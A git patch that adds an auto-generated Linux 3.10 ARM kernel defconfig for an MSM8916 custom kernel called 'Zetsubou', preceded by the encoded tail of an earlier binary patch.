z3>RfZjljY&?pmcGXUmoySD}eIHnDD@w)UWw zp%-YcY}6NOFR59P_ERs=px!O~`)$p2xb~{6SJc*q!!yIJ%+hKLuHLh#^bzg6=LB3+ zpp6#;n6NwHM?Ek1Xd|A}cDEfoqLo)je`@=b3T^7)=WDeWHy-TO0-Lo|W6y0bu%G6k zEvnEwM*FS$xjjAF9`&GhXyZX`*{537;ZN@WNc)v?R6F;u9!3yV+@y~WLCxkP+6d!F zk7)mpVrbu1x9QoA^s#!e7^5R{h-PAlX14zVBeHkH12BA#_8j9B7j4fWPNt0Q*`kN_R;N>YVdG}hdP&s_Xk)_W1ieT)BVk*DzE)rPenkHd&9hmb z?U;OykSItv3F>f69BslaJzK9ossHhM;d4Ys$8FmB3bQQIbG2h)vi5Xa))DQu%H|&Z zdhO33E3Ve=YTNvVW5Rj;`j7N(3hTeYUoAl&ld!x{AFH`)goe!t-_-BbLi%A#AFK{s z9oeHFiQHPRhj(b}kD|v%Bl>$`{l`M)xdd&*W<-nb3-4$>sdqoGA7OrmBXeBO%P(H7 z1GQqTh92cf>Ivxku~5 z_^pU&;oXi2=R{DWLaWrX^j0~*-%~5J2RG^utk4oSL(#g;dNNpxDhB&BkoLOTU=k3GbJiI-D|E z#VH&*{cG?N^x5`A)i?`d=Qp^wYYMD06g&^?udkM8_1IpDTP^!m4ZXlt2Q8Z08u2P^ zG2ROnn@pBq3&Ag{_v3r-c`}fj&%wP;H43X5@OC|O{N{VpsN7Il8?tR)sD-_t5`R^= z1v}`5aAVUMw$t2G%kApmCJr{@z2Qc4!=d<_8>+dZ;`i@c6sLq-rP|+A*~l|EIw^PT z$j-xA2D^0ZV(=P%2{+F4ZuJxeZg0Rg3Ch=S0~I0{hQm;Zb6Bl?D`oCE0*X^GX(H!2n;Ovwi=Zc^XmubYR(45@QY9d6jBUX zT=(GWgp`K!+Rsx5gBIPDzw=OOG}p(%N^I^agAQ63kJxKt=VZGKgCYF24X7}!Q#jRPdwYMY zQMsleV9krT3(di657Alvh(}XEI0}(O&->{h3^bk~j;%(q4lXGdmv!P2O&BUJQ(;RB zh6J6)MI+*V4!R&NYenqiJp+G>KeuY|niMOdSU=^^Qw^H6E|6kv6_>}B9EsC@-v16%$MYH+eLM3x`~x3+{9lu$x~3J6~FD# zx(Kg-(82}0=HZB&%MSCF@X{wXz2F;IApO7!G9Gg!$%|bMqZex`tJa2tat6i}purk z<$B=Nz_dlhFOAfJR$-UUgYxnMQew8xk1yYzATge8Rw864#_(3K;j|dO6KuY%{BGb1 z8~!%%1{>Z9yvv3k27beacLSfcVcsZ^UoZ#;_B?~Xn{4gB09@*08IMF|AO1dWEB_Vn z4{i7maF-1q2L8f^dC%|fHvBH|Uv0P#_?QiU3>>tze+qb;4gUq$a|!;41NVS1Fyn2Q zw;q-hqm%Xz^yi14m_1XDvm@&{MM1J{naQRZY!?=K4B|w0N!rX*8=>e&7bRl zy|(%rfuFLK0}dXH=XPY24$hZzly2Z%mr4;8-=MGq*gl_r2plxypY!8IVCy>uR7bM% z3h=kB`QvaaM}cp$3I)lFsj>;4wxSsr(w4-%TO$DCISqJhR`iVK4BX zfqB>9QSh{ncQmYn?eq6?tb^DM%qQSqho32b5is9FaiVNA*0)RJwhJushQ|0#6Q-p#;# z%-Sly1DH=l&oj%v18f~^e;H?j`m z|Bl1&$Kj9T@SlPCsK8t1csSWH^Ps*_arm4#oEnGu!n$>^eoh>o9)}C#a7i3q6o<>> z@X9z`8HekDc|PUg!FtjhhrbTI!B(zRwHP5ITvH?V?sLkoUFuP z6;(I;Ya5!^R5tjl@jYeOHig$=^J0FHQr6|ursrb^)ZBt=%5_9j@ylzt+VWS28ynYi zZ^Rq2XfdmF&NTj+&Of<1;%~0_nbd7a-5C%ujUASp&)|z$5t)F_vY%##5^5PYXimq8Ohr&(uxQ1?Nsa(%% z$ricMAIuV4-+86i&MqqTUt3bLWG=s^Z+7Wi1WZlPUv~=>@b0<4Dir3g_toP%)KoH< z%?9L0SiC5;%DH35UE;I;W*|ChlaBkbK%vrXZ|DyPp7qB9mxK==kjL;V|Q(0pU73m-FD$sfw<}ujJP%uTxF0iy~6+fuN3+N;syjRaYG?%#2HFTRy98AsP$K_S;HGxSqAS$Wz{z0 z4?n)a6^}q!LEOT~!uJeGMhtfrRG~U&0)!=z%7XHX3t1|Z1M}j45LdQTHr2-9AX?vq z0kkR!Hc;o6D_31L3T~>xpW3EymU#t*AA-!n{hdHd(5h6=4{e2=)$5yv$SPS)_})2D zo7Y$TLQ8SqA`60{^^HoFm@HYi2CXwii)Jqn-vDTKLfj$BvJA2s#Jvfy>(RY>Frhj| zVC5Qc7G2*ca7(lBf0pOrk z4t`LF&$NYH9e5@$DzO}_pm=yei6ZgTO?`Z)or&K)W*rur1crM{%6Y*sy$+src~CFY zTS(UTjGclEQ!(-^Io49Iq#KLT;B$&TI1A2U~Ky4>CVf+GB}Y`U-7wygyQQ7P;LvIbP>g zK+e)Zofc15u;1)2_j{`#=LK&amfZQspnZ%R9+X=kS@D-;Ob1OWGV$jJkmFM=)k7W$vwIf?^?5hd00BW0c`OsdKGfE=`mO~5khvke#m{F0cjpq*>+&^mY<_*6y-;8 zaxDK4iR+|wOshZheDg!t);*;ha&M#JBvhP(#PQ`E=7SrI0qe-WSy47wgO5zM$>W+h Pxu?RoFJ={@++zPP`o&js literal 0 HcmV?d00001 From c05ecb85fc0e1286477f4502caa849f0c4d9d806 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 12 Dec 2016 11:58:49 +0530 Subject: [PATCH 151/365] generate zetsubou defconfig --- arch/arm/configs/zetsubou_defconfig | 3860 +++++++++++++++++++++++++++ 1 file changed, 3860 insertions(+) create mode 100644 arch/arm/configs/zetsubou_defconfig diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig new file mode 100644 index 0000000000000..52289e80dac5e --- /dev/null +++ b/arch/arm/configs/zetsubou_defconfig @@ -0,0 +1,3860 @@ +# +# Automatically generated file; DO NOT EDIT. +# Linux/arm 3.10.49 Kernel Configuration +# +CONFIG_ARM=y +CONFIG_ARM_HAS_SG_CHAIN=y +CONFIG_SYS_SUPPORTS_APM_EMULATION=y +CONFIG_HAVE_PROC_CPU=y +CONFIG_STACKTRACE_SUPPORT=y +CONFIG_LOCKDEP_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_RWSEM_GENERIC_SPINLOCK=y +CONFIG_ARCH_HAS_CPUFREQ=y +CONFIG_GENERIC_HWEIGHT=y +CONFIG_GENERIC_CALIBRATE_DELAY=y +CONFIG_NEED_DMA_MAP_STATE=y +CONFIG_ARCH_WANT_KMAP_ATOMIC_FLUSH=y +CONFIG_VECTORS_BASE=0xffff0000 +CONFIG_ARM_PATCH_PHYS_VIRT=y +CONFIG_NEED_MACH_GPIO_H=y +CONFIG_NEED_MACH_IO_H=y +CONFIG_NEED_MACH_MEMORY_H=y +CONFIG_PHYS_OFFSET=0x00200000 +CONFIG_GENERIC_BUG=y +# CONFIG_ARCH_RANDOM is not set +CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config" +CONFIG_IRQ_WORK=y +CONFIG_BUILDTIME_EXTABLE_SORT=y + +# +# General setup +# +CONFIG_INIT_ENV_ARG_LIMIT=32 +CONFIG_CROSS_COMPILE="" +CONFIG_LOCALVERSION="-Zetsubou" +CONFIG_LOCALVERSION_AUTO=y +CONFIG_HAVE_KERNEL_GZIP=y +CONFIG_HAVE_KERNEL_LZMA=y +CONFIG_HAVE_KERNEL_XZ=y +CONFIG_HAVE_KERNEL_LZO=y +CONFIG_HAVE_KERNEL_LZ4=y +CONFIG_KERNEL_GZIP=y +# CONFIG_KERNEL_LZMA is not set +# CONFIG_KERNEL_XZ is not set +# CONFIG_KERNEL_LZO is not set +# CONFIG_KERNEL_LZ4 is not set +CONFIG_DEFAULT_HOSTNAME="(none)" +CONFIG_SWAP=y +CONFIG_SYSVIPC=y +CONFIG_SYSVIPC_SYSCTL=y +# CONFIG_POSIX_MQUEUE is not set +# CONFIG_FHANDLE is not set +CONFIG_AUDIT=y +CONFIG_AUDITSYSCALL=y +CONFIG_AUDIT_WATCH=y +CONFIG_AUDIT_TREE=y +# CONFIG_AUDIT_LOGINUID_IMMUTABLE is not set + +# +# IRQ subsystem +# +CONFIG_MAY_HAVE_SPARSE_IRQ=y +CONFIG_GENERIC_IRQ_PROBE=y +CONFIG_GENERIC_IRQ_SHOW=y +CONFIG_HARDIRQS_SW_RESEND=y +CONFIG_IRQ_DOMAIN=y +# CONFIG_IRQ_DOMAIN_DEBUG is not set +CONFIG_SPARSE_IRQ=y +CONFIG_KTIME_SCALAR=y +CONFIG_GENERIC_CLOCKEVENTS=y +CONFIG_GENERIC_CLOCKEVENTS_BUILD=y +CONFIG_ARCH_HAS_TICK_BROADCAST=y +CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y + +# +# Timers subsystem +# +CONFIG_TICK_ONESHOT=y +CONFIG_NO_HZ_COMMON=y +# CONFIG_HZ_PERIODIC is not set +CONFIG_NO_HZ_IDLE=y +CONFIG_NO_HZ=y +CONFIG_HIGH_RES_TIMERS=y + +# +# CPU/Task time and stats accounting +# +CONFIG_TICK_CPU_ACCOUNTING=y +# CONFIG_IRQ_TIME_ACCOUNTING is not set +# CONFIG_BSD_PROCESS_ACCT is not set +# CONFIG_TASKSTATS is not set + +# +# RCU Subsystem +# +CONFIG_TREE_PREEMPT_RCU=y +CONFIG_PREEMPT_RCU=y +CONFIG_RCU_STALL_COMMON=y +# CONFIG_RCU_USER_QS is not set +CONFIG_RCU_FANOUT=32 +CONFIG_RCU_FANOUT_LEAF=16 +# CONFIG_RCU_FANOUT_EXACT is not set +CONFIG_RCU_FAST_NO_HZ=y +# CONFIG_TREE_RCU_TRACE is not set +# CONFIG_RCU_BOOST is not set +# CONFIG_RCU_NOCB_CPU is not set +CONFIG_IKCONFIG=y +# CONFIG_IKCONFIG_PROC is not set +CONFIG_LOG_BUF_SHIFT=17 +CONFIG_GENERIC_SCHED_CLOCK=y +CONFIG_CGROUPS=y +CONFIG_CGROUP_DEBUG=y +CONFIG_CGROUP_FREEZER=y +# CONFIG_CGROUP_DEVICE is not set +CONFIG_CPUSETS=y +CONFIG_PROC_PID_CPUSET=y +CONFIG_CGROUP_CPUACCT=y +CONFIG_RESOURCE_COUNTERS=y +# CONFIG_MEMCG is not set +# CONFIG_CGROUP_PERF is not set +CONFIG_CGROUP_SCHED=y +CONFIG_FAIR_GROUP_SCHED=y +# CONFIG_CFS_BANDWIDTH is not set +CONFIG_RT_GROUP_SCHED=y +# CONFIG_BLK_CGROUP is not set +CONFIG_SCHED_HMP=y +# CONFIG_CHECKPOINT_RESTORE is not set +CONFIG_NAMESPACES=y +# CONFIG_UTS_NS is not set +# CONFIG_IPC_NS is not set +# CONFIG_USER_NS is not set +# CONFIG_PID_NS is not set +CONFIG_NET_NS=y +CONFIG_UIDGID_CONVERTED=y +# CONFIG_UIDGID_STRICT_TYPE_CHECKS is not set +# CONFIG_SCHED_AUTOGROUP is not set +# CONFIG_SYSFS_DEPRECATED is not set +CONFIG_RELAY=y +CONFIG_BLK_DEV_INITRD=y +CONFIG_INITRAMFS_SOURCE="" +CONFIG_RD_GZIP=y +CONFIG_RD_BZIP2=y +CONFIG_RD_LZMA=y +# CONFIG_RD_XZ is not set +# CONFIG_RD_LZO is not set +# CONFIG_RD_LZ4 is not set +CONFIG_CC_OPTIMIZE_FOR_SIZE=y +CONFIG_SYSCTL=y +CONFIG_ANON_INODES=y +CONFIG_HAVE_UID16=y +CONFIG_HOTPLUG=y +CONFIG_PANIC_TIMEOUT=5 +CONFIG_EXPERT=y +CONFIG_UID16=y +# CONFIG_SYSCTL_SYSCALL is not set +CONFIG_KALLSYMS=y +CONFIG_KALLSYMS_ALL=y +CONFIG_PRINTK=y +CONFIG_BUG=y +CONFIG_ELF_CORE=y +CONFIG_BASE_FULL=y +CONFIG_FUTEX=y +CONFIG_EPOLL=y +CONFIG_SIGNALFD=y +CONFIG_TIMERFD=y +CONFIG_EVENTFD=y +CONFIG_SHMEM=y +CONFIG_AIO=y +CONFIG_EMBEDDED=y +CONFIG_HAVE_PERF_EVENTS=y +CONFIG_PERF_USE_VMALLOC=y + +# +# Kernel Performance Events And Counters +# +CONFIG_PERF_EVENTS=y +# CONFIG_DEBUG_PERF_USE_VMALLOC is not set +CONFIG_VM_EVENT_COUNTERS=y +# CONFIG_SLUB_DEBUG is not set +CONFIG_COMPAT_BRK=y +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_PROFILING=y +CONFIG_TRACEPOINTS=y +# CONFIG_OPROFILE is not set +CONFIG_HAVE_OPROFILE=y +CONFIG_JUMP_LABEL=y +# CONFIG_HAVE_64BIT_ALIGNED_ACCESS is not set +CONFIG_HAVE_KPROBES=y +CONFIG_HAVE_KRETPROBES=y +CONFIG_HAVE_ARCH_TRACEHOOK=y +CONFIG_HAVE_DMA_ATTRS=y +CONFIG_HAVE_DMA_CONTIGUOUS=y +CONFIG_GENERIC_SMP_IDLE_THREAD=y +CONFIG_GENERIC_IDLE_POLL_SETUP=y +CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y +CONFIG_HAVE_CLK=y +CONFIG_HAVE_DMA_API_DEBUG=y +CONFIG_HAVE_HW_BREAKPOINT=y +CONFIG_HAVE_ARCH_JUMP_LABEL=y +CONFIG_ARCH_WANT_IPC_PARSE_VERSION=y +CONFIG_HAVE_ARCH_SECCOMP_FILTER=y +CONFIG_SECCOMP_FILTER=y +CONFIG_HAVE_CC_STACKPROTECTOR=y +# CONFIG_CC_STACKPROTECTOR is not set +CONFIG_CC_STACKPROTECTOR_NONE=y +# CONFIG_CC_STACKPROTECTOR_REGULAR is not set +# CONFIG_CC_STACKPROTECTOR_STRONG is not set +CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOD_ARCH_SPECIFIC=y +CONFIG_MODULES_USE_ELF_REL=y +CONFIG_HAVE_ARCH_MMAP_RND_BITS=y +CONFIG_ARCH_MMAP_RND_BITS_MIN=8 +CONFIG_ARCH_MMAP_RND_BITS_MAX=16 +CONFIG_ARCH_MMAP_RND_BITS=8 +CONFIG_CLONE_BACKWARDS=y +CONFIG_OLD_SIGSUSPEND3=y +CONFIG_OLD_SIGACTION=y + +# +# GCOV-based kernel profiling +# +# CONFIG_GCOV_KERNEL is not set +CONFIG_HAVE_GENERIC_DMA_COHERENT=y +CONFIG_RT_MUTEXES=y +CONFIG_BASE_SMALL=0 +# CONFIG_MODULES is not set +CONFIG_STOP_MACHINE=y +CONFIG_BLOCK=y +CONFIG_LBDAF=y +CONFIG_BLK_DEV_BSG=y +# CONFIG_BLK_DEV_BSGLIB is not set +# CONFIG_BLK_DEV_INTEGRITY is not set + +# +# Partition Types +# +CONFIG_PARTITION_ADVANCED=y +# CONFIG_ACORN_PARTITION is not set +# CONFIG_OSF_PARTITION is not set +# CONFIG_AMIGA_PARTITION is not set +# CONFIG_ATARI_PARTITION is not set +# CONFIG_MAC_PARTITION is not set +CONFIG_MSDOS_PARTITION=y +# CONFIG_BSD_DISKLABEL is not set +# CONFIG_MINIX_SUBPARTITION is not set +# CONFIG_SOLARIS_X86_PARTITION is not set +# CONFIG_UNIXWARE_DISKLABEL is not set +# CONFIG_LDM_PARTITION is not set +# CONFIG_SGI_PARTITION is not set +# CONFIG_ULTRIX_PARTITION is not set +# CONFIG_SUN_PARTITION is not set +# CONFIG_KARMA_PARTITION is not set +CONFIG_EFI_PARTITION=y +# CONFIG_SYSV68_PARTITION is not set + +# +# IO Schedulers +# +CONFIG_IOSCHED_NOOP=y +# CONFIG_IOSCHED_TEST is not set +CONFIG_IOSCHED_DEADLINE=y +CONFIG_IOSCHED_ROW=y +CONFIG_IOSCHED_CFQ=y +CONFIG_IOSCHED_BFQ=y +CONFIG_CGROUP_BFQIO=y +# CONFIG_DEFAULT_DEADLINE is not set +# CONFIG_DEFAULT_ROW is not set +# CONFIG_DEFAULT_CFQ is not set +# CONFIG_DEFAULT_BFQ is not set +CONFIG_DEFAULT_NOOP=y +CONFIG_DEFAULT_IOSCHED="noop" +CONFIG_ASN1=y +CONFIG_UNINLINE_SPIN_UNLOCK=y +CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y +CONFIG_MUTEX_SPIN_ON_OWNER=y +CONFIG_FREEZER=y + +# +# System Type +# +CONFIG_MMU=y +# CONFIG_ARCH_MULTIPLATFORM is not set +# CONFIG_ARCH_INTEGRATOR is not set +# CONFIG_ARCH_REALVIEW is not set +# CONFIG_ARCH_VERSATILE is not set +# CONFIG_ARCH_AT91 is not set +# CONFIG_ARCH_CLPS711X is not set +# CONFIG_ARCH_GEMINI is not set +# CONFIG_ARCH_EBSA110 is not set +# CONFIG_ARCH_EP93XX is not set +# CONFIG_ARCH_FOOTBRIDGE is not set +# CONFIG_ARCH_NETX is not set +# CONFIG_ARCH_IOP13XX is not set +# CONFIG_ARCH_IOP32X is not set +# CONFIG_ARCH_IOP33X is not set +# CONFIG_ARCH_IXP4XX is not set +# CONFIG_ARCH_DOVE is not set +# CONFIG_ARCH_KIRKWOOD is not set +# CONFIG_ARCH_MV78XX0 is not set +# CONFIG_ARCH_ORION5X is not set +# CONFIG_ARCH_MMP is not set +# CONFIG_ARCH_KS8695 is not set +# CONFIG_ARCH_W90X900 is not set +# CONFIG_ARCH_LPC32XX is not set +# CONFIG_ARCH_PXA is not set +CONFIG_ARCH_MSM=y +# CONFIG_ARCH_SHMOBILE is not set +# CONFIG_ARCH_RPC is not set +# CONFIG_ARCH_SA1100 is not set +# CONFIG_ARCH_S3C24XX is not set +# CONFIG_ARCH_S3C64XX is not set +# CONFIG_ARCH_S5P64X0 is not set +# CONFIG_ARCH_S5PC100 is not set +# CONFIG_ARCH_S5PV210 is not set +# CONFIG_ARCH_EXYNOS is not set +# CONFIG_ARCH_SHARK is not set +# CONFIG_ARCH_U300 is not set +# CONFIG_ARCH_DAVINCI is not set +# CONFIG_ARCH_OMAP1 is not set +# CONFIG_GPIO_PCA953X is not set +# CONFIG_KEYBOARD_GPIO_POLLED is not set + +# +# MSM SoC Type +# +# CONFIG_ARCH_MSM8974 is not set +# CONFIG_ARCH_APQ8084 is not set +# CONFIG_ARCH_MSM8909 is not set +CONFIG_ARCH_MSM8916=y +# CONFIG_ARCH_FSM9900 is not set +# CONFIG_ARCH_FSM9010 is not set +# CONFIG_ARCH_MDM9630 is not set +# CONFIG_ARCH_MSMZIRC is not set +# CONFIG_ARCH_MDMFERRUM is not set +# CONFIG_ARCH_MSM8610 is not set +# CONFIG_ARCH_MSM8226 is not set +CONFIG_MSM_CORTEX_A53=y +CONFIG_MSM_SMP=y +CONFIG_ARCH_MSM_CORTEXMP=y +# CONFIG_MSM_LPM_TEST is not set +# CONFIG_MSM_STACKED_MEMORY is not set +CONFIG_MSM_AMSS_VERSION=6225 +# CONFIG_MSM_AMSS_VERSION_6210 is not set +# CONFIG_MSM_AMSS_VERSION_6220 is not set +CONFIG_MSM_AMSS_VERSION_6225=y +CONFIG_MSM7X00A_USE_GP_TIMER=y +# CONFIG_MSM7X00A_USE_DG_TIMER is not set +CONFIG_MSM7X00A_SLEEP_MODE_POWER_COLLAPSE_SUSPEND=y +# CONFIG_MSM7X00A_SLEEP_MODE_POWER_COLLAPSE is not set +# CONFIG_MSM7X00A_SLEEP_MODE_APPS_SLEEP is not set +# CONFIG_MSM7X00A_SLEEP_MODE_RAMP_DOWN_AND_WAIT_FOR_INTERRUPT is not set +# CONFIG_MSM7X00A_SLEEP_WAIT_FOR_INTERRUPT is not set +CONFIG_MSM7X00A_SLEEP_MODE=0 +# CONFIG_MSM7X00A_IDLE_SLEEP_MODE_POWER_COLLAPSE_SUSPEND is not set +CONFIG_MSM7X00A_IDLE_SLEEP_MODE_POWER_COLLAPSE=y +# CONFIG_MSM7X00A_IDLE_SLEEP_MODE_APPS_SLEEP is not set +# CONFIG_MSM7X00A_IDLE_SLEEP_MODE_RAMP_DOWN_AND_WAIT_FOR_INTERRUPT is not set +# CONFIG_MSM7X00A_IDLE_SLEEP_WAIT_FOR_INTERRUPT is not set +CONFIG_MSM7X00A_IDLE_SLEEP_MODE=1 +CONFIG_MSM7X00A_IDLE_SLEEP_MIN_TIME=20000000 +CONFIG_MSM7X00A_IDLE_SPIN_TIME=80000 +CONFIG_CPU_HAS_L2_PMU=y +# CONFIG_MSM_TEST_QMI_CLIENT is not set +CONFIG_RTAC=y +# CONFIG_MSM_VREG_SWITCH_INVERTED is not set +# CONFIG_MSM_DMA_TEST is not set +# CONFIG_WIFI_CONTROL_FUNC is not set +CONFIG_SURF_FFA_GPIO_KEYPAD=y +CONFIG_MSM_SLEEP_TIME_OVERRIDE=y +# CONFIG_MSM_MEMORY_LOW_POWER_MODE is not set +CONFIG_MSM_PM_TIMEOUT_HALT=y +# CONFIG_MSM_PM_TIMEOUT_RESET_MODEM is not set +# CONFIG_MSM_PM_TIMEOUT_RESET_CHIP is not set +CONFIG_MSM_IDLE_WAIT_ON_MODEM=0 +CONFIG_MSM_SMCMOD=y +CONFIG_MSM_DIRECT_SCLK_ACCESS=y +CONFIG_IOMMU_API=y +# CONFIG_MSM_BUS_RPM_MULTI_TIER_ENABLED is not set +# CONFIG_MSM_STANDALONE_POWER_COLLAPSE is not set +# CONFIG_MSM_GSBI9_UART is not set +# CONFIG_MSM_ULTRASOUND is not set +CONFIG_SENSORS_ADSP=y +# CONFIG_MSM_CPR is not set +# CONFIG_MSM_HSIC_SYSMON is not set +CONFIG_MSM_ENABLE_WDOG_DEBUG_CONTROL=y +# CONFIG_KRAIT_REGULATOR is not set +# CONFIG_PLAT_SPEAR is not set + +# +# Processor Type +# +CONFIG_CPU_V7=y +CONFIG_CPU_32v6K=y +CONFIG_CPU_32v7=y +CONFIG_CPU_ABRT_EV7=y +CONFIG_CPU_PABRT_V7=y +CONFIG_CPU_CACHE_V7=y +CONFIG_CPU_CACHE_VIPT=y +CONFIG_CPU_COPY_V6=y +CONFIG_CPU_TLB_V7=y +CONFIG_CPU_HAS_ASID=y +CONFIG_CPU_CP15=y +CONFIG_CPU_CP15_MMU=y + +# +# Processor Features +# +# CONFIG_ARM_LPAE is not set +# CONFIG_ARCH_PHYS_ADDR_T_64BIT is not set +CONFIG_ARM_THUMB=y +# CONFIG_ARM_THUMBEE is not set +CONFIG_ARM_VIRT_EXT=y +CONFIG_SWP_EMULATE=y +# CONFIG_FORCE_INSTRUCTION_ALIGNMENT is not set +# CONFIG_CPU_ICACHE_DISABLE is not set +# CONFIG_CPU_DCACHE_DISABLE is not set +# CONFIG_CPU_BPREDICT_DISABLE is not set +CONFIG_KUSER_HELPERS=y +# CONFIG_CACHE_L2X0 is not set +CONFIG_ARM_L1_CACHE_SHIFT_6=y +CONFIG_ARM_L1_CACHE_SHIFT=6 +CONFIG_ARM_DMA_MEM_BUFFERABLE=y +CONFIG_STRICT_MEMORY_RWX=y +CONFIG_ARM_NR_BANKS=8 +CONFIG_MULTI_IRQ_HANDLER=y +# CONFIG_ARM_ERRATA_430973 is not set +# CONFIG_ARM_ERRATA_458693 is not set +# CONFIG_ARM_ERRATA_460075 is not set +# CONFIG_ARM_ERRATA_742230 is not set +# CONFIG_ARM_ERRATA_742231 is not set +# CONFIG_ARM_ERRATA_643719 is not set +# CONFIG_ARM_ERRATA_720789 is not set +# CONFIG_ARM_ERRATA_743622 is not set +# CONFIG_ARM_ERRATA_751472 is not set +# CONFIG_ARM_ERRATA_754322 is not set +# CONFIG_ARM_ERRATA_754327 is not set +# CONFIG_ARM_ERRATA_764369 is not set +# CONFIG_ARM_ERRATA_775420 is not set +# CONFIG_ARM_ERRATA_798181 is not set + +# +# Bus support +# +# CONFIG_PCI_SYSCALL is not set +# CONFIG_PCCARD is not set + +# +# Kernel Features +# +CONFIG_HAVE_SMP=y +CONFIG_SMP=y +# CONFIG_SMP_ON_UP is not set +CONFIG_ARM_CPU_TOPOLOGY=y +CONFIG_SCHED_MC=y +# CONFIG_SCHED_SMT is not set +CONFIG_HAVE_ARM_ARCH_TIMER=y +# CONFIG_MCPM is not set +CONFIG_VMSPLIT_3G=y +# CONFIG_VMSPLIT_2G is not set +# CONFIG_VMSPLIT_1G is not set +CONFIG_PAGE_OFFSET=0xC0000000 +CONFIG_NR_CPUS=4 +CONFIG_HOTPLUG_CPU=y +# CONFIG_ARM_PSCI is not set +CONFIG_LOCAL_TIMERS=y +CONFIG_ARCH_NR_GPIO=0 +# CONFIG_PREEMPT_NONE is not set +# CONFIG_PREEMPT_VOLUNTARY is not set +CONFIG_PREEMPT=y +CONFIG_PREEMPT_COUNT=y +CONFIG_HZ=100 +CONFIG_SCHED_HRTICK=y +# CONFIG_THUMB2_KERNEL is not set +CONFIG_AEABI=y +# CONFIG_OABI_COMPAT is not set +# CONFIG_4KSTACKS is not set +# CONFIG_ARCH_SPARSEMEM_DEFAULT is not set +# CONFIG_ARCH_SELECT_MEMORY_MODEL is not set +CONFIG_HAVE_ARCH_PFN_VALID=y +CONFIG_HIGHMEM=y +# CONFIG_HIGHPTE is not set +CONFIG_HW_PERF_EVENTS=y +# CONFIG_PERF_EVENTS_USERMODE is not set +# CONFIG_PERF_EVENTS_RESET_PMU_DEBUGFS is not set +CONFIG_FLATMEM=y +CONFIG_FLAT_NODE_MEM_MAP=y +CONFIG_HAVE_MEMBLOCK=y +CONFIG_MEMORY_ISOLATION=y +# CONFIG_HAVE_BOOTMEM_INFO_NODE is not set +CONFIG_PAGEFLAGS_EXTENDED=y +CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_COMPACTION=y +CONFIG_MIGRATION=y +# CONFIG_PHYS_ADDR_T_64BIT is not set +CONFIG_ZONE_DMA_FLAG=0 +CONFIG_BOUNCE=y +# CONFIG_KSM is not set +CONFIG_DEFAULT_MMAP_MIN_ADDR=4096 +CONFIG_CROSS_MEMORY_ATTACH=y +# CONFIG_CLEANCACHE is not set +# CONFIG_FRONTSWAP is not set +CONFIG_MEMORY_HOLE_CARVEOUT=y +# CONFIG_USE_USER_ACCESSIBLE_TIMERS is not set +# CONFIG_BALANCE_ANON_FILE_RECLAIM is not set +CONFIG_PROCESS_RECLAIM=y +# CONFIG_ZPOOL is not set +# CONFIG_ZBUD is not set +CONFIG_ZSMALLOC=y +CONFIG_PGTABLE_MAPPING=y +# CONFIG_ENABLE_VMALLOC_SAVING is not set +CONFIG_NO_VM_RECLAIM=y +CONFIG_FORCE_MAX_ZONEORDER=11 +CONFIG_ALIGNMENT_TRAP=y +# CONFIG_UACCESS_WITH_MEMCPY is not set +CONFIG_SECCOMP=y +# CONFIG_XEN is not set +CONFIG_CP_ACCESS=y +# CONFIG_ARM_FLUSH_CONSOLE_ON_RESTART is not set + +# +# Boot options +# +CONFIG_USE_OF=y +CONFIG_ATAGS=y +# CONFIG_DEPRECATED_PARAM_STRUCT is not set +# CONFIG_BUILD_ARM_APPENDED_DTB_IMAGE is not set +CONFIG_ZBOOT_ROM_TEXT=0 +CONFIG_ZBOOT_ROM_BSS=0 +# CONFIG_ARM_APPENDED_DTB is not set +CONFIG_CMDLINE="" +# CONFIG_XIP_KERNEL is not set +# CONFIG_KEXEC is not set +# CONFIG_CRASH_DUMP is not set +CONFIG_AUTO_ZRELADDR=y +CONFIG_ARM_DECOMPRESSOR_LIMIT=0x3200000 + +# +# CPU Power Management +# + +# +# CPU Frequency scaling +# +CONFIG_CPU_FREQ=y +CONFIG_CPU_FREQ_GOV_COMMON=y +CONFIG_SCHED_FREQ_INPUT=y +CONFIG_CPU_FREQ_STAT=y +# CONFIG_CPU_FREQ_STAT_DETAILS is not set +CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE=y +# CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_ONDEMAND is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_CONSERVATIVE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_INTERACTIVE is not set +CONFIG_CPU_FREQ_GOV_PERFORMANCE=y +CONFIG_CPU_FREQ_GOV_POWERSAVE=y +CONFIG_CPU_FREQ_GOV_USERSPACE=y +CONFIG_CPU_FREQ_GOV_ONDEMAND=y +CONFIG_CPU_FREQ_GOV_INTERACTIVE=y +# CONFIG_CPU_FREQ_GOV_CONSERVATIVE is not set +CONFIG_CPU_BOOST=y + +# +# ARM CPU frequency scaling drivers +# +# CONFIG_ARM_EXYNOS4210_CPUFREQ is not set +# CONFIG_ARM_EXYNOS4X12_CPUFREQ is not set +# CONFIG_ARM_EXYNOS5250_CPUFREQ is not set +# CONFIG_ARM_KIRKWOOD_CPUFREQ is not set +CONFIG_CPU_FREQ_MSM=y +CONFIG_CPU_IDLE=y +CONFIG_CPU_IDLE_MULTIPLE_DRIVERS=y +CONFIG_CPU_IDLE_GOV_LADDER=y +CONFIG_CPU_IDLE_GOV_MENU=y +# CONFIG_ARCH_NEEDS_CPU_IDLE_COUPLED is not set + +# +# Floating point emulation +# + +# +# At least one emulation must be selected +# +CONFIG_VFP=y +CONFIG_VFPv3=y +CONFIG_NEON=y +CONFIG_KERNEL_MODE_NEON=y + +# +# Userspace binary formats +# +CONFIG_BINFMT_ELF=y +CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE=y +# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set 